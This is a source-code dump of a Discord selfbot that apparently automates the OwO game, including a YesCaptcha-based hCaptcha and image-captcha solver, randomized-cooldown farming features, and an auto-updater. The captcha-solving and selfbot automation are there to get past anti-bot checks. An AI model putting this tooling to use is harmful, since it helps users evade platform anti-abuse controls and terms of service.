| "owo", 57 | "quote" 58 | ])).default(["owo"]), 59 | autoRPP: z.array(z.enum([ 60 | "run", 61 | "pup", 62 | "piku" 63 | ])).default(["run", "pup", "piku"]), 64 | autoDaily: z.boolean().default(true), 65 | autoCookie: z.boolean().default(true), 66 | autoClover: z.boolean().default(true), 67 | useCustomPrefix: z.boolean().default(true), 68 | autoSleep: z.boolean().default(true), 69 | autoSell: z.boolean().default(true), 70 | autoReload: z.boolean().default(true), 71 | autoResume: z.boolean().default(true), 72 | showRPC: z.boolean().default(true), 73 | }).check(({ issues, value }) => { 74 | if (value.wayNotify.includes("webhook") && !value.webhookURL) { 75 | issues.push({ 76 | code: "custom", 77 | input: value.webhookURL, 78 | message: "Webhook URL is required when 'webhook' is selected in wayNotify" 79 | }); 80 | } 81 | if ((value.wayNotify.includes("dms") || value.wayNotify.includes("call")) && !value.adminID) { 82 | issues.push({ 83 | code: "custom", 84 | input: value.adminID, 85 | message: "Admin ID is required when 'dms' or 'call' is selected in wayNotify" 86 | }); 87 | } 88 | if (value.wayNotify.includes("music") && !value.musicPath) { 89 | issues.push({ 90 | code: "custom", 91 | input: value.musicPath, 92 | message: "Music path is required when 'music' is selected in wayNotify" 93 | }); 94 | } 95 | if (value.captchaAPI && !value.apiKey) { 96 | issues.push({ 97 | code: "custom", 98 | input: value.apiKey, 99 | message: "API key is required when captchaAPI is set" 100 | }); 101 | } 102 | if (value.autoGem !== 0) { 103 | if (!value.gemTier || value.gemTier.length === 0) { 104 | issues.push({ 105 | code: "custom", 106 | input: value.gemTier, 107 | message: "At least one gem tier is required when autoGem is enabled" 108 | }); 109 | } 110 | } 111 | }) 112 | 113 | export type Configuration = z.infer; 114 | -------------------------------------------------------------------------------- /src/services/solvers/YesCaptchaSolver.ts: -------------------------------------------------------------------------------- 1 | import { CaptchaSolver } from "@/typings/index.js"; 2 | import axios, { AxiosInstance } from "axios"; 3 | 4 | // --- Type Definitions --- 5 | type ImageToTextTask = { 6 | type: "ImageToTextTaskMuggle" | "ImageToTextTaskM1"; 7 | body: string; // Base64 encoded image data 8 | }; 9 | 10 | type HCaptchaTask = { 11 | type: "HCaptchaTaskProxyless"; 12 | websiteURL: string; 13 | websiteKey: string; 14 | userAgent?: string; 15 | isInvisible?: boolean; 16 | rqdata?: string; 17 | }; 18 | 19 | type TaskCreatedResponse = { 20 | errorId: 0 | 1; 21 | errorCode?: string; 22 | errorDescription?: string; 23 | taskId: string; 24 | }; 25 | 26 | type ImageToTextResponse = { 27 | errorId: 0 | 1; 28 | errorCode?: string; 29 | errorDescription?: string; 30 | solution: { 31 | text: string; 32 | }; 33 | }; 34 | 35 | type TaskResultResponse = { 36 | errorId: 0 | 1; 37 | errorCode?: string; 38 | errorDescription?: string; 39 | status: "ready" | "processing"; 40 | solution?: { 41 | gRecaptchaResponse: string; 42 | userAgent: string; 43 | respKey?: string; 44 | }; 45 | }; 46 | 47 | // --- Helper Function --- 48 | const delay = (ms: number) => new Promise(resolve => setTimeout(resolve, ms)); 49 | 50 | // --- Class Implementation --- 51 | export class YesCaptchaSolver implements CaptchaSolver { 52 | private axiosInstance: AxiosInstance; 53 | 54 | constructor(private apiKey: string) { 55 | this.axiosInstance = axios.create({ 56 | baseURL: "https://api.yescaptcha.com", 57 | headers: { "User-Agent": "YesCaptcha-Node-Client" }, 58 | validateStatus: () => true, // Handle all status codes in the response 59 | }); 60 | } 61 | 62 | // Overloaded method to create different captcha tasks 63 | public createTask(options: ImageToTextTask): Promise<{ data: ImageToTextResponse }>; 64 | public createTask(options: HCaptchaTask): Promise<{ data: TaskCreatedResponse }>; 65 | public createTask(options: ImageToTextTask | HCaptchaTask): Promise<{ data: ImageToTextResponse | TaskCreatedResponse }> { 66 | return this.axiosInstance.post("/createTask", { 67 | clientKey: this.apiKey, 68 | task: options, 69 | }); 70 | } 71 | 72 | private async pollTaskResult(taskId: string): Promise { 73 | while (true) { 74 | await delay(3000); // Wait 3 seconds between polls 75 | const response = await this.axiosInstance.post("/getTaskResult", { 76 | clientKey: this.apiKey, 77 | taskId: taskId, 78 | }); 79 | 80 | if (response.data.status === "ready") { 81 | return response.data; 82 | } 83 | // Continue polling if status is "processing" 84 | } 85 | } 86 | 87 | public async solveImage(imageData: Buffer): Promise { 88 | const { data } = await this.createTask({ 89 | type: "ImageToTextTaskM1", 90 | body: imageData.toString("base64"), 91 | }); 92 | 93 | if (data.errorId !== 0) { 94 | throw new Error(`[YesCaptcha] Image-to-text task failed: ${data.errorDescription}`); 95 | } 96 | return data.solution.text; 97 | } 98 | 99 | public async solveHcaptcha(sitekey: string, siteurl: string): Promise { 100 | const { data: createTaskData } = await this.createTask({ 101 | type: "HCaptchaTaskProxyless", 102 | websiteKey: sitekey, 103 | websiteURL: siteurl, 104 | }); 105 | 106 | if (createTaskData.errorId !== 0) { 107 | throw new Error(`[YesCaptcha] HCaptcha task creation failed: ${createTaskData.errorDescription}`); 108 | } 109 | 110 | const resultData = await this.pollTaskResult(createTaskData.taskId); 111 | 112 | if (resultData.errorId !== 0 || !resultData.solution) { 113 | throw new Error(`[YesCaptcha] HCaptcha solution failed: ${resultData.errorDescription}`); 114 | } 115 | 116 | return resultData.solution.gRecaptchaResponse; 117 | } 118 | } -------------------------------------------------------------------------------- /src/typings/index.d.ts: -------------------------------------------------------------------------------- 1 | import type { 2 | Client, 3 | ClientEvents, 4 | GuildTextBasedChannel, 5 | Message, 6 | PermissionResolvable, 7 | TextBasedChannel, 8 | UserResolvable 9 | } from "discord.js-selfbot-v13"; 10 | 11 | import { BaseAgent } from "@/structure/BaseAgent.ts"; 12 | import { ExtendedClient } from "@/structure/core/ExtendedClient.ts"; 13 | import type { I18nPath, Locale, Translationfn } from "@/utils/locales.ts"; 14 | 15 | export type MaybePromise = T | Promise; 16 | 17 | export interface CaptchaSolver { 18 | /** 19 | * Solves an image captcha from a buffer. 20 | * @param imageData The image data as a Buffer. 21 | * @returns A promise that resolves with the captcha solution text. 22 | */ 23 | solveImage(imageData: Buffer): Promise; 24 | 25 | /** 26 | * Solves an hCaptcha challenge. 27 | * @param sitekey The hCaptcha sitekey for the target website. 28 | * @param siteurl The URL of the page where the hCaptcha is present. 29 | * @returns A promise that resolves with the hCaptcha response token. 30 | */ 31 | solveHcaptcha(sitekey: string, siteurl: string): Promise; 32 | } 33 | 34 | export interface NotificationPayload { 35 | title: string; 36 | description: string; 37 | urgency: "normal" | "critical"; 38 | sourceUrl?: string; // e.g., the URL to the captcha message 39 | imageUrl?: string; 40 | content: string; 41 | fields?: { name: string; value: string; inline?: boolean }[]; 42 | } 43 | 44 | export interface NotifierStrategy { 45 | execute(params: FeatureFnParams, payload: NotificationPayload): Promise; 46 | } 47 | 48 | type EventOptions = { 49 | name: string; 50 | event: T; 51 | once?: boolean; 52 | disabled?: boolean; 53 | handler: (params: BaseParams, ...args: ClientEvents[T]) => MaybePromise; 54 | } 55 | 56 | interface BaseParams { 57 | agent: BaseAgent; 58 | t: Translationfn; 59 | locale: Locale; 60 | } 61 | 62 | export interface CommandParams extends BaseParams { 63 | message: Message 64 | args?: Array; 65 | options?: { 66 | guildOnly?: boolean; 67 | } 68 | } 69 | 70 | type CommandOptions = { 71 | cooldown?: number; 72 | permissions?: PermissionResolvable; 73 | guildOnly?: InGuild; 74 | } 75 | 76 | export interface CommandProps { 77 | name: string; 78 | description: I18nPath; 79 | aliases?: string[]; 80 | usage?: string; 81 | 82 | options?: CommandOptions; 83 | params?: Map; 84 | subCommandAliases?: Map; 85 | execute: (args: CommandParams) => MaybePromise; 86 | } 87 | 88 | interface HandlerParams extends BaseParams { } 89 | 90 | type HandlerProps = { 91 | run: (args: HandlerParams) => MaybePromise; 92 | } 93 | 94 | interface FeatureFnParams extends BaseParams { 95 | // channel: GuildTextBasedChannel; 96 | // cooldown: Cooldown 97 | } 98 | 99 | type BaseFeatureOptions = { 100 | overrideCooldown?: boolean; 101 | cooldownOnError?: number; 102 | exclude?: boolean 103 | } 104 | export interface FeatureProps { 105 | name: string; 106 | options?: BaseFeatureOptions; 107 | cooldown: () => number; 108 | condition: (args: FeatureFnParams) => MaybePromise; 109 | permissions?: PermissionResolvable; 110 | run: (args: FeatureFnParams) => MaybePromise; 111 | } 112 | 113 | interface SendMessageOptions { 114 | channel: TextBasedChannel 115 | prefix?: string 116 | typing?: number 117 | skipLogging?: boolean 118 | } 119 | 120 | interface AwaitResponseOptions { 121 | channel?: GuildTextBasedChannel | TextBasedChannel; 122 | filter: (message: Message) => boolean; 123 | trigger: () => MaybePromise; 124 | time?: number; 125 | max?: number; 126 | expectResponse?: boolean; // If true, waits for a response from the bot 127 | } 128 | 129 | interface AwaitSlashResponseOptions { 130 | channel?: GuildTextBasedChannel | TextBasedChannel; 131 | bot: UserResolvable; 132 | command: string; 133 | args?: any[]; 134 | time?: number; 135 | max?: number; 136 | } 137 | 138 | interface CLICommand { 139 | command: string; 140 | description: string; 141 | handler: (args: any) => MaybePromise; 142 | } -------------------------------------------------------------------------------- /src/services/UpdateService.ts: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import AdmZip from "adm-zip"; 3 | 4 | import fs from "node:fs"; 5 | import path from "node:path"; 6 | import os from "node:os"; 7 | import { promisify } from "node:util"; 8 | import { execSync, exec, spawn } from "node:child_process"; 9 | 10 | import packageJSON from "#/package.json" with { type: "json" }; 11 | import { logger } from "@/utils/logger.js"; 12 | import { t } from "@/utils/locales.js"; 13 | import { copyDirectory } from "../utils/path.js"; 14 | import { downloadAndExtractRepo } from "@/utils/download.js"; 15 | 16 | export class UpdateFeature { 17 | private baseHeaders = { 18 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537' 19 | }; 20 | 21 | public checkForUpdates = async () => { 22 | logger.info(t("system.update.checkingForUpdates")); 23 | try { 24 | const { version: currentVersion } = packageJSON; 25 | const { data: { version: latestVersion } } = await axios.get( 26 | "https://raw.githubusercontent.com/Kyou-Izumi/advanced-discord-owo-tool-farm/refs/heads/main/package.json", 27 | { 28 | headers: this.baseHeaders 29 | } 30 | ); 31 | 32 | if (currentVersion < latestVersion) { 33 | logger.info(t("system.update.newVersionAvailable", { latestVersion, currentVersion })); 34 | return true; 35 | } 36 | 37 | logger.info(t("system.update.latestVersion", { currentVersion })); 38 | } catch (error) { 39 | logger.error(`Failed to check for updates:` + error); 40 | } 41 | 42 | return false; 43 | } 44 | 45 | private gitUpdate = async () => { 46 | try { 47 | logger.debug("Stashing local changes..."); 48 | execSync("git stash", { stdio: "inherit" }); 49 | logger.debug("Pulling latest changes from remote repository..."); 50 | execSync("git pull --force", { stdio: "inherit" }); 51 | logger.debug("Applying stashed changes..."); 52 | execSync("git stash pop", { stdio: "inherit" }); 53 | } catch (error) { 54 | logger.debug(`Failed to update repository: ${error}`); 55 | } 56 | } 57 | 58 | private manualUpdate = async () => { 59 | try { 60 | const extractedFolderName = await downloadAndExtractRepo( 61 | "https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm/archive/refs/heads/main.zip", 62 | os.tmpdir() 63 | ); 64 | const extractedPath = path.join(os.tmpdir(), extractedFolderName); 65 | copyDirectory(extractedPath, process.cwd()); 66 | } catch (error) { 67 | logger.error("Error updating project manually:"); 68 | logger.error(String(error)); 69 | } 70 | } 71 | 72 | private installDependencies = async () => { 73 | logger.info(t("system.update.installingDependencies")); 74 | try { 75 | execSync("npm install", { stdio: "inherit" }); 76 | logger.info(t("system.update.dependenciesInstalled")); 77 | } catch (error) { 78 | logger.error("Failed to install dependencies:" + error); 79 | } 80 | } 81 | 82 | private restart = () => { 83 | const child = spawn("start", ["cmd.exe", "/K", "npm start"], { 84 | cwd: process.cwd(), 85 | shell: true, 86 | detached: true, 87 | stdio: "ignore" 88 | }); 89 | child.unref(); 90 | process.exit(1); 91 | } 92 | 93 | public updateAndRestart = async () => { 94 | await this.performUpdate(); 95 | await this.installDependencies(); 96 | this.restart(); 97 | } 98 | 99 | public performUpdate = async () => { 100 | logger.info(t("system.update.performingUpdate")); 101 | try { 102 | if (fs.existsSync(".git")) { 103 | logger.info(t("system.update.gitDetected")); 104 | await this.gitUpdate(); 105 | } else { 106 | logger.info(t("system.update.gitNotFound")); 107 | await this.manualUpdate(); 108 | } 109 | 110 | await this.installDependencies(); 111 | logger.info(t("system.update.updateCompleted")); 112 | 113 | process.exit(0); 114 | } catch (error) { 115 | logger.error("Failed to perform update:" + error); 116 | } 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/utils/logger.ts: -------------------------------------------------------------------------------- 1 | import winston from "winston" 2 | import chalk from "chalk" 3 | 4 | import fs from "node:fs" 5 | import path from "node:path" 6 | import util from "node:util" 7 | import { t } from "./locales.js" 8 | 9 | export type LogLevel = "alert" | "error" | "runtime" | "warn" | "info" | "data" | "sent" | "debug"; 10 | 11 | const LOG_DIR = "logs"; 12 | const LOG_FILE = path.join(LOG_DIR, "console.log"); 13 | 14 | if (!fs.existsSync(LOG_DIR)) { 15 | fs.mkdirSync(LOG_DIR, { recursive: true }); 16 | } 17 | 18 | const { combine, printf, timestamp, errors, uncolorize } = winston.format; 19 | 20 | const getLevelFormat = (level: LogLevel): string => { 21 | const translatedLevel = t(`system.logger.levels.${level}` as any); 22 | const levelFormats: Record string> = { 23 | alert: (text) => chalk.redBright.bold(`[${text}]`), 24 | error: (text) => chalk.redBright.bold(`[${text}]`), 25 | runtime: (text) => chalk.blue.bold(`[${text}]`), 26 | warn: (text) => chalk.yellowBright.bold(`[${text}]`), 27 | info: (text) => chalk.cyanBright.bold(`[${text}]`), 28 | data: (text) => chalk.blackBright.bold(`[${text}]`), 29 | sent: (text) => chalk.greenBright.bold(`[${text}]`), 30 | debug: (text) => chalk.magentaBright.bold(`[${text}]`), 31 | } 32 | return levelFormats[level]?.(translatedLevel) || chalk.whiteBright.bold(`[${translatedLevel.toUpperCase()}]`); 33 | } 34 | 35 | const consoleFormat = printf(({ level, message, timestamp, stack }) => { 36 | const formattedLevel = getLevelFormat(level as LogLevel); 37 | const formattedTimestamp = chalk.bgYellow.whiteBright(timestamp); 38 | 39 | if (stack) { 40 | return util.format( 41 | "%s %s %s\n%s", 42 | formattedTimestamp, 43 | formattedLevel, 44 | message, 45 | chalk.redBright(stack), 46 | ) 47 | } 48 | return util.format( 49 | "%s %s %s", 50 | formattedTimestamp, 51 | formattedLevel, 52 | level === "debug" ? chalk.gray(message) : message 53 | ); 54 | }); 55 | 56 | class WinstonLogger { 57 | private logger: winston.Logger; 58 | private static instance: WinstonLogger; 59 | 60 | constructor() { 61 | this.logger = winston.createLogger({ 62 | levels: { 63 | alert: 0, 64 | error: 1, 65 | runtime: 2, 66 | warn: 3, 67 | info: 4, 68 | data: 5, 69 | sent: 6, 70 | debug: 7, 71 | }, 72 | transports: [ 73 | new winston.transports.Console({ 74 | format: combine( 75 | timestamp({ format: "YYYY-MM-DD HH:mm:ss" }), 76 | errors({ stack: true }), 77 | consoleFormat 78 | ), 79 | level: "sent" 80 | }), 81 | new winston.transports.File({ 82 | filename: LOG_FILE, 83 | level: "debug", 84 | maxsize: 5 * 1024 * 1024, // 5 MB 85 | maxFiles: 5, 86 | format: combine( 87 | timestamp({ format: "YYYY-MM-DD HH:mm:ss" }), 88 | errors({ stack: true }), 89 | consoleFormat, 90 | uncolorize(), 91 | ), 92 | }), 93 | ], 94 | exitOnError: false, 95 | handleExceptions: true, 96 | handleRejections: true, 97 | }); 98 | } 99 | 100 | public static getInstance(): WinstonLogger { 101 | if (!WinstonLogger.instance) { 102 | WinstonLogger.instance = new WinstonLogger(); 103 | } 104 | return WinstonLogger.instance; 105 | } 106 | 107 | public setLevel(level: LogLevel) { 108 | this.logger.level = level; 109 | this.logger.transports.find(t => t instanceof winston.transports.Console)!.level = level; 110 | } 111 | 112 | public log(level: LogLevel, message: string | Error) { 113 | if (message instanceof Error) { 114 | this.logger.log(level, message.message, { stack: message.stack }); 115 | } else { 116 | this.logger.log(level, message); 117 | } 118 | } 119 | 120 | public alert(message: string | Error) { 121 | return this.log("alert", message); 122 | } 123 | 124 | public error(message: string | Error) { 125 | return this.log("error", message); 126 | } 127 | 128 | public runtime(message: string | Error) { 129 | return this.log("runtime", message); 130 | } 131 | 132 | public warn(message: string | Error) { 133 | return this.log("warn", message); 134 | } 135 | 136 | public info(message: string | Error) { 137 | return this.log("info", message); 138 | } 139 | 140 | public data(message: string | Error) { 141 | return this.log("data", message); 142 | } 143 | 144 | public sent(message: string | Error) { 145 | return this.log("sent", message); 146 | } 147 | 148 | public debug(message: string | Error) { 149 | return this.log("debug", message); 150 | } 151 | } 152 | 153 | export const logger = WinstonLogger.getInstance(); -------------------------------------------------------------------------------- /src/features/autoHunt.ts: -------------------------------------------------------------------------------- 1 | import { Message } from "discord.js-selfbot-v13"; 2 | 3 | import { Schematic } from "@/structure/Schematic.js"; 4 | import { logger } from "@/utils/logger.js"; 5 | 6 | import { FeatureFnParams } from "@/typings/index.js"; 7 | import { ranInt } from "@/utils/math.js"; 8 | 9 | const GEM_REGEX = { 10 | gem1: /^05[1-7]$/, 11 | gem2: /^(06[5-9]|07[0-1])$/, 12 | gem3: /^07[2-8]$/, 13 | star: /^(079|08[0-5])$/, 14 | }; 15 | 16 | const GEM_TIERS = { 17 | common: [51, 65, 72, 79], 18 | uncommon: [52, 66, 73, 80], 19 | rare: [53, 67, 74, 81], 20 | epic: [54, 68, 75, 82], 21 | mythical: [55, 69, 76, 83], 22 | legendary: [56, 70, 77, 84], 23 | fabled: [57, 71, 78, 85], 24 | } 25 | 26 | const useGems = async (params: FeatureFnParams, huntMsg: Message) => { 27 | const { agent, t } = params; 28 | 29 | const invMsg = await agent.awaitResponse({ 30 | trigger: () => agent.send("inv"), 31 | filter: (m) => m.author.id === agent.owoID 32 | && m.content.includes(m.guild?.members.me?.displayName!) 33 | && m.content.includes("Inventory"), 34 | expectResponse: true, 35 | }); 36 | 37 | if (!invMsg) return; 38 | 39 | const inventory = invMsg.content.split("`"); 40 | 41 | if (agent.config.autoFabledLootbox && inventory.includes("049")) { 42 | await agent.send("lb fabled"); 43 | } 44 | 45 | if (agent.config.autoLootbox && inventory.includes("050")) { 46 | await agent.send("lb all"); 47 | 48 | // After opening, re-run the hunt to get an accurate state. 49 | logger.debug("Lootboxes opened, re-running useGems logic to check inventory again."); 50 | await agent.client.sleep(ranInt(5000, 10000)); // Wait a bit for the lootbox to open 51 | await useGems(params, huntMsg); 52 | return; 53 | } 54 | 55 | const usableGemsSet = new Set(agent.config.gemTier?.map((tier) => GEM_TIERS[tier]).flat()); 56 | 57 | const filterAndMapGems = (regex: RegExp) => { 58 | return inventory.reduce((acc: number[], item) => { 59 | const numItem = Number(item); 60 | // Test regex first (it's fast) then check the Set. 61 | if (regex.test(item) && usableGemsSet.has(numItem)) { 62 | acc.push(numItem); 63 | } 64 | return acc; 65 | }, []); 66 | }; 67 | 68 | agent.gem1Cache = filterAndMapGems(GEM_REGEX.gem1); 69 | agent.gem2Cache = filterAndMapGems(GEM_REGEX.gem2); 70 | agent.gem3Cache = filterAndMapGems(GEM_REGEX.gem3); 71 | agent.starCache = agent.config.useSpecialGem ? filterAndMapGems(GEM_REGEX.star) : []; 72 | 73 | const totalGems = agent.gem1Cache.length + agent.gem2Cache.length + agent.gem3Cache.length + agent.starCache.length; 74 | if (totalGems === 0) { 75 | logger.info(t("features.autoHunt.noGems")); 76 | agent.config.autoGem = 0; // Disable feature if no gems are left 77 | return; 78 | } 79 | 80 | logger.info(t("features.autoHunt.gemsFound", { count: totalGems })); 81 | 82 | const gemsToUse: number[] = [] 83 | 84 | if (!huntMsg.content.includes("gem1") && agent.gem1Cache.length > 0) { 85 | gemsToUse.push(agent.config.autoGem > 0 ? Math.max(...agent.gem1Cache) : Math.min(...agent.gem1Cache)); 86 | } 87 | if (!huntMsg.content.includes("gem3") && agent.gem2Cache.length > 0) { 88 | gemsToUse.push(agent.config.autoGem > 0 ? Math.max(...agent.gem2Cache) : Math.min(...agent.gem2Cache)); 89 | } 90 | if (!huntMsg.content.includes("gem4") && agent.gem3Cache.length > 0) { 91 | gemsToUse.push(agent.config.autoGem > 0 ? Math.max(...agent.gem3Cache) : Math.min(...agent.gem3Cache)); 92 | } 93 | if (agent.config.useSpecialGem && !huntMsg.content.includes("star") && agent.starCache.length > 0) { 94 | gemsToUse.push(agent.config.autoGem > 0 ? Math.max(...agent.starCache) : Math.min(...agent.starCache)); 95 | } 96 | 97 | if (gemsToUse.length === 0) { 98 | logger.info(t("features.autoHunt.noGems")); 99 | return; 100 | } 101 | 102 | await agent.send(`use ${gemsToUse.join(" ")}`); 103 | } 104 | 105 | export default Schematic.registerFeature({ 106 | name: "autoHunt", 107 | cooldown: () => ranInt(15_000, 22_000), 108 | condition: async () => true, 109 | run: async ({ agent, t, locale }) => { 110 | const huntMsg = await agent.awaitResponse({ 111 | trigger: () => agent.send("hunt"), 112 | filter: (m) => m.author.id === agent.owoID 113 | && m.content.includes(m.guild?.members.me?.displayName!) 114 | && /hunt is empowered by|spent 5 .+ and caught a/.test(m.content), 115 | expectResponse: true, 116 | }); 117 | 118 | if (!huntMsg || !agent.config.autoGem) return; 119 | 120 | const gem1Needed = !huntMsg.content.includes("gem1") && (!agent.gem1Cache || agent.gem1Cache.length > 0); 121 | const gem2Needed = !huntMsg.content.includes("gem3") && (!agent.gem2Cache || agent.gem2Cache.length > 0); 122 | const gem3Needed = !huntMsg.content.includes("gem4") && (!agent.gem3Cache || agent.gem3Cache.length > 0); 123 | const starNeeded = Boolean(agent.config.useSpecialGem && !huntMsg.content.includes("star") && (!agent.starCache || agent.starCache.length > 0)); 124 | 125 | if (gem1Needed || gem2Needed || gem3Needed || starNeeded) await useGems({ agent, t, locale }, huntMsg); 126 | } 127 | }) -------------------------------------------------------------------------------- /src/utils/decompress.ts: -------------------------------------------------------------------------------- 1 | import zlib from "zlib"; 2 | import { logger } from "./logger.js"; 3 | 4 | /** 5 | * Compression types supported by the decompression utility 6 | */ 7 | export type CompressionType = "gzip" | "deflate" | "br" | "zstd" | "auto"; 8 | 9 | /** 10 | * Result of decompression operation 11 | */ 12 | export interface DecompressionResult { 13 | success: boolean; 14 | data?: string; 15 | method?: CompressionType; 16 | error?: string; 17 | } 18 | 19 | /** 20 | * Decompress data using various compression algorithms 21 | * @param data - Compressed data as string or Buffer 22 | * @param method - Compression method to use, or "auto" to try all methods 23 | * @returns DecompressionResult with decompressed data or error 24 | */ 25 | export function decompress(data: string | Buffer, method: CompressionType = "auto"): DecompressionResult { 26 | try { 27 | const buffer = Buffer.isBuffer(data) ? data : Buffer.from(data, 'binary'); 28 | 29 | if (method !== "auto") { 30 | return decompressSingle(buffer, method); 31 | } 32 | 33 | // Try all compression methods when auto is selected 34 | const methods: CompressionType[] = ["gzip", "deflate", "br", "zstd"]; 35 | 36 | for (const compressionMethod of methods) { 37 | const result = decompressSingle(buffer, compressionMethod); 38 | if (result.success) { 39 | return result; 40 | } 41 | } 42 | 43 | return { 44 | success: false, 45 | error: "All decompression methods failed" 46 | }; 47 | 48 | } catch (error) { 49 | logger.error(`Decompression error: ${error}`); 50 | return { 51 | success: false, 52 | error: error instanceof Error ? error.message : "Unknown decompression error" 53 | }; 54 | } 55 | } 56 | 57 | /** 58 | * Decompress data using a specific compression method 59 | * @param buffer - Data buffer to decompress 60 | * @param method - Specific compression method to use 61 | * @returns DecompressionResult 62 | */ 63 | function decompressSingle(buffer: Buffer, method: CompressionType): DecompressionResult { 64 | try { 65 | let decompressed: Buffer; 66 | 67 | switch (method) { 68 | case "gzip": 69 | decompressed = zlib.gunzipSync(buffer); 70 | break; 71 | 72 | case "deflate": 73 | decompressed = zlib.inflateSync(buffer); 74 | break; 75 | 76 | case "br": 77 | decompressed = zlib.brotliDecompressSync(buffer); 78 | break; 79 | 80 | case "zstd": 81 | // Check if Node.js version supports zstd (18.17.0+) 82 | if (typeof (zlib as any).zstdSync === "function") { 83 | decompressed = (zlib as any).zstdSync(buffer); 84 | } else { 85 | throw new Error("Zstd decompression not supported in this Node.js version"); 86 | } 87 | break; 88 | 89 | default: 90 | throw new Error(`Unsupported compression method: ${method}`); 91 | } 92 | 93 | const result = decompressed.toString('utf8'); 94 | 95 | return { 96 | success: true, 97 | data: result, 98 | method: method 99 | }; 100 | 101 | } catch (error) { 102 | return { 103 | success: false, 104 | method: method, 105 | error: error instanceof Error ? error.message : `${method} decompression failed` 106 | }; 107 | } 108 | } 109 | 110 | /** 111 | * Try to decompress and parse JSON data 112 | * @param data - Compressed data as string or Buffer 113 | * @param method - Compression method to use, or "auto" to try all methods 114 | * @returns Parsed JSON object or null if failed 115 | */ 116 | export function decompressJSON(data: string | Buffer, method: CompressionType = "auto"): any { 117 | const result = decompress(data, method); 118 | 119 | if (!result.success || !result.data) { 120 | logger.error(`Failed to decompress data: ${result.error}`); 121 | return null; 122 | } 123 | 124 | try { 125 | const jsonData = JSON.parse(result.data); 126 | logger.debug(`Successfully decompressed JSON using ${result.method}`); 127 | return jsonData; 128 | } catch (error) { 129 | logger.error(`Failed to parse decompressed data as JSON: ${error}`); 130 | return null; 131 | } 132 | } 133 | 134 | /** 135 | * Check if data appears to be compressed based on magic bytes 136 | * @param data - Data to check 137 | * @returns Detected compression type or null if not compressed 138 | */ 139 | export function detectCompression(data: string | Buffer): CompressionType | null { 140 | const buffer = Buffer.isBuffer(data) ? data : Buffer.from(data, 'binary'); 141 | 142 | if (buffer.length < 2) { 143 | return null; 144 | } 145 | 146 | // Check magic bytes for different compression formats 147 | const firstBytes = buffer.subarray(0, 4); 148 | 149 | // Gzip magic bytes: 1f 8b 150 | if (firstBytes[0] === 0x1f && firstBytes[1] === 0x8b) { 151 | return "gzip"; 152 | } 153 | 154 | // Zlib/Deflate magic bytes: 78 (various second bytes) 155 | if (firstBytes[0] === 0x78) { 156 | return "deflate"; 157 | } 158 | 159 | // Brotli doesn't have standard magic bytes, but check for common patterns 160 | // This is less reliable than other formats 161 | 162 | // Zstd magic bytes: 28 b5 2f fd 163 | if (firstBytes[0] === 0x28 && firstBytes[1] === 0xb5 && 164 | firstBytes[2] === 0x2f && firstBytes[3] === 0xfd) { 165 | return "zstd"; 166 | } 167 | 168 | return null; 169 | } 170 | 171 | /** 172 | * Utility function to handle potentially compressed HTTP response data 173 | * @param data - Response data that might be compressed 174 | * @param contentEncoding - Content-Encoding header value 175 | * @returns Decompressed data or original data if not compressed 176 | */ 177 | export function handleHTTPResponse(data: any, contentEncoding?: string): any { 178 | // If data is already an object, it's likely already decompressed 179 | if (typeof data === 'object' && data !== null) { 180 | return data; 181 | } 182 | 183 | // If it's a string with binary data indicators, try decompression 184 | if (typeof data === 'string' && (data.includes('\x00') || data.includes('�'))) { 185 | // Try decompression based on Content-Encoding header first 186 | if (contentEncoding) { 187 | const method = contentEncoding.toLowerCase() as CompressionType; 188 | const result = decompress(data, method); 189 | if (result.success && result.data) { 190 | try { 191 | return JSON.parse(result.data); 192 | } catch { 193 | return result.data; 194 | } 195 | } 196 | } 197 | 198 | // Fallback to auto-detection 199 | const result = decompress(data, "auto"); 200 | if (result.success && result.data) { 201 | try { 202 | return JSON.parse(result.data); 203 | } catch { 204 | return result.data; 205 | } 206 | } 207 | } 208 | 209 | // Return original data if decompression fails or isn't needed 210 | return data; 211 | } 212 | -------------------------------------------------------------------------------- /src/features/README.md: -------------------------------------------------------------------------------- 1 | # Features Development Guide 2 | 3 | This guide will help you create custom features for the Advanced Discord OwO Tool Farm. 4 | 5 | ## Overview 6 | 7 | Features are modular automation components that handle specific tasks like hunting, praying, using items, etc. Each feature runs independently with its own cooldown and conditions. 8 | 9 | ## Feature Structure 10 | 11 | All features follow this basic structure: 12 | 13 | ```typescript 14 | import { Schematic } from "@/structure/Schematic.js"; 15 | import { ranInt } from "@/utils/math.js"; 16 | import { logger } from "@/utils/logger.js"; 17 | 18 | export default Schematic.registerFeature({ 19 | name: "featureName", 20 | cooldown: () => ranInt(30_000, 60_000), // 30-60 seconds 21 | condition: async ({ agent, t, locale }) => { 22 | // Return true if feature should run 23 | return agent.config.enableFeature && !agent.captchaDetected; 24 | }, 25 | run: async ({ agent, t, locale }) => { 26 | // Feature logic here 27 | await agent.send("owo command"); 28 | logger.info(t("features.featureName.executed")); 29 | } 30 | }); 31 | ``` 32 | 33 | ## Creating a Custom Feature 34 | 35 | ### Step 1: Create the Feature File 36 | 37 | Create a new TypeScript file in the `src/features/` directory: 38 | 39 | ```bash 40 | src/features/autoBuyRing.ts 41 | ``` 42 | 43 | ### Step 2: Example - Auto Buy Ring Feature 44 | 45 | Here's a complete example of an auto-buy ring feature: 46 | 47 | ```typescript 48 | import { Schematic } from "@/structure/Schematic.js"; 49 | import { ranInt } from "@/utils/math.js"; 50 | import { logger } from "@/utils/logger.js"; 51 | 52 | export default Schematic.registerFeature({ 53 | name: "autoBuyRing", 54 | cooldown: () => ranInt(60_000, 180_000), // 1-3 minutes randomized cooldown 55 | condition: async ({ agent, t, locale }) => { 56 | // Check if the feature is enabled in config 57 | if (!agent.config.autoBuyRing) return false; 58 | 59 | return true; 60 | }, 61 | run: async ({ agent, t, locale }) => { 62 | // Option 1: send a single buy command 63 | await agent.send("owo buy ring"); 64 | 65 | // Option 2: send and await for response 66 | const response = await agent.awaitResponse({ 67 | timeout: 30_000, // 30 seconds timeout 68 | expectResponse: true, 69 | filter: (message) => { 70 | const content = message.content.toLowerCase(); 71 | return content.includes("ring") || 72 | content.includes("cowoncy") || 73 | content.includes("purchased") || 74 | content.includes("don't have enough"); 75 | } 76 | }); 77 | if (!response) return; 78 | } 79 | }); 80 | ``` 81 | 82 